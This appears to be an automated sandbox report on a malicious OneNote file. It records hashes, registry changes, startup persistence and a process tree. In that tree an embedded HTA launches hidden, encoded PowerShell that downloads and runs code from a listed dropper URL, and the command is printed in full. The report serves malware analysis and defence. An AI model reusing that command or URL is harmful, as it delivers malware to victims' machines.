12c4d9eddce807d10e3578fcf2918366def586ec374a35957880a65dbd467efc

Analysis

max time kernel
150s
max time network
82s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
02/02/2023, 21:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

12c4d9eddce807d10e3578fcf2918366def586ec374a35957880a65dbd467efc.one
Size

264KB
MD5

3431b5db65041c5c495deaf3a6c74006
SHA1

7a5ce0bf1d336f8d7b0a41d4e71327549f827c71
SHA256

12c4d9eddce807d10e3578fcf2918366def586ec374a35957880a65dbd467efc
SHA512

645db443ae98c50b4d336a26b684eb93eb4e6934df3adc82eec2bd1d502ea3c1bd89230e82fc83f6f20b33da96343926994e7f3af7df9406c76b1387989978f4
SSDEEP

3072:raA0YRw9/WITtTWR7IbNzvL1aaIuWt4AJERnyNenUWHCoTCCCCCCCCCCCCCCCCCv:ba9xytedL1dy4iERBBf3yBLTlz

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://restlomik.com/gatef.php

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
10	308	powershell.exe
11	1800	powershell.exe

Deletes itself 1 IoCs

pid	Process
908	ONENOTE.EXE

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OneNote 2010 Screen Clipper and Launcher.lnk	ONENOTE.EXE

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\ACADEMIC.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\BLANK.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\BUSINESS.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\DESIGNER.ONE	ONENOTE.EXE
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\ONENOTE\14\Stationery\PLANNERS.ONE	ONENOTE.EXE

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	ONENOTE.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 11 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	ONENOTE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	ONENOTE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	ONENOTE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	ONENOTE.EXE
Key created	\REGISTRY\USER\S-1-5-21-3406023954-474543476-3319432036-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 6 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F2A7EE29-8BF6-4A6D-83F1-098E366C709C}\1.0\ = "Microsoft OneNote 12.0 Object Library"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F2A7EE29-8BF6-4A6D-83F1-098E366C709C}\1.0\0\win32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONENOTE.EXE\\2"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.0\ = "Microsoft OneNote 14.0 Object Library"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0EA692EE-BB50-4E3C-AEF0-356D91732725}\1.0\0\win32\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\ONENOTE.EXE\\3"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	ONENOTE.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{E2E1511D-502D-4BD0-8B3A-8A89A05CDCAE}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	ONENOTE.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
908	ONENOTE.EXE
908	ONENOTE.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
308	powershell.exe
1800	powershell.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
908	ONENOTE.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: 33	1572	ONENOTEM.EXE
Token: SeIncBasePriorityPrivilege	1572	ONENOTEM.EXE
Token: SeDebugPrivilege	308	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: 33	908	ONENOTE.EXE
Token: SeIncBasePriorityPrivilege	908	ONENOTE.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1572	ONENOTEM.EXE

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1572	ONENOTEM.EXE

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE
908	ONENOTE.EXE

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 1572	908	ONENOTE.EXE	31
PID 908 wrote to memory of 1572	908	ONENOTE.EXE	31
PID 908 wrote to memory of 1572	908	ONENOTE.EXE	31
PID 908 wrote to memory of 1572	908	ONENOTE.EXE	31
PID 908 wrote to memory of 1684	908	ONENOTE.EXE	33
PID 908 wrote to memory of 1684	908	ONENOTE.EXE	33
PID 908 wrote to memory of 1684	908	ONENOTE.EXE	33
PID 908 wrote to memory of 1684	908	ONENOTE.EXE	33
PID 1684 wrote to memory of 1916	1684	mshta.exe	34
PID 1684 wrote to memory of 1916	1684	mshta.exe	34
PID 1684 wrote to memory of 1916	1684	mshta.exe	34
PID 1684 wrote to memory of 1916	1684	mshta.exe	34
PID 1916 wrote to memory of 308	1916	cmd.exe	36
PID 1916 wrote to memory of 308	1916	cmd.exe	36
PID 1916 wrote to memory of 308	1916	cmd.exe	36
PID 1916 wrote to memory of 308	1916	cmd.exe	36
PID 908 wrote to memory of 572	908	ONENOTE.EXE	37
PID 908 wrote to memory of 572	908	ONENOTE.EXE	37
PID 908 wrote to memory of 572	908	ONENOTE.EXE	37
PID 908 wrote to memory of 572	908	ONENOTE.EXE	37
PID 572 wrote to memory of 1076	572	mshta.exe	38
PID 572 wrote to memory of 1076	572	mshta.exe	38
PID 572 wrote to memory of 1076	572	mshta.exe	38
PID 572 wrote to memory of 1076	572	mshta.exe	38
PID 1076 wrote to memory of 1800	1076	cmd.exe	40
PID 1076 wrote to memory of 1800	1076	cmd.exe	40
PID 1076 wrote to memory of 1800	1076	cmd.exe	40
PID 1076 wrote to memory of 1800	1076	cmd.exe	40

C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE" "C:\Users\Admin\AppData\Local\Temp\12c4d9eddce807d10e3578fcf2918366def586ec374a35957880a65dbd467efc.one"
1⤵
- Deletes itself
- Drops startup file
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:908
- C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE
  /tsr
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:1572
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\OneNote\14.0\NT\0\Open.hta"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:308
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\OneNote\14.0\NT\1\Open.hta"
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powErshEll -nop -w hiddEn -Ep bypass -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcgBlAHMAdABsAG8AbQBpAGsALgBjAG8AbQAvAGcAYQB0AGUAZgAuAHAAaABwACIAKQA=
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\OneNote\14.0\NT\0\Open.hta

Filesize
23KB

MD5
1227434bf06a35a7b25b95fd141510d0

SHA1
4047c8e1cefe81f16fdc519d020e3b3a47d686e8

SHA256
915eca47e23e62c007898c6c29fbe8e503bd31b1387f23804c9a2babfbee62c5

SHA512
ce0236c7898a7216158c4a980748492a824846fd58868dfc83cbe56f1f1dd8203f6ec823ec7e318265be2305fa5c401e175c1a1452586147496c8e0a35cb804d

Download Submit
C:\Users\Admin\AppData\Local\Temp\OneNote\14.0\NT\1\Open.hta

Filesize
23KB

MD5
1227434bf06a35a7b25b95fd141510d0

SHA1
4047c8e1cefe81f16fdc519d020e3b3a47d686e8

SHA256
915eca47e23e62c007898c6c29fbe8e503bd31b1387f23804c9a2babfbee62c5

SHA512
ce0236c7898a7216158c4a980748492a824846fd58868dfc83cbe56f1f1dd8203f6ec823ec7e318265be2305fa5c401e175c1a1452586147496c8e0a35cb804d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
4dadf2509816b83be10726d128bed098

SHA1
ba570a8dcfcb848fda968d762b881952c53b8d90

SHA256
93f8e6e8993462920ce68651c1a21472c45a6f09c841e56deb1a6c6eadc6eb0d

SHA512
00c828e40e4546a7d2b28d2addb62dfe833d70f5ea7eb9b6a0441876c7e2754d0b4ebfdde0ac71e102d1c58969d3348e83ed0430ae9298038aaacc1e162429b6

Download Submit
memory/308-65-0x000000006BAB0000-0x000000006C05B000-memory.dmp

Filesize
5.7MB

Download
memory/308-66-0x000000006BAB0000-0x000000006C05B000-memory.dmp

Filesize
5.7MB

Download
memory/908-55-0x000000007341D000-0x0000000073428000-memory.dmp

Filesize
44KB

Download
memory/908-59-0x000000007341D000-0x0000000073428000-memory.dmp

Filesize
44KB

Download
memory/908-56-0x0000000075C81000-0x0000000075C83000-memory.dmp

Filesize
8KB

Download
memory/908-54-0x0000000072431000-0x0000000072433000-memory.dmp

Filesize
8KB

Download
memory/1800-74-0x000000006BA30000-0x000000006BFDB000-memory.dmp

Filesize
5.7MB

Download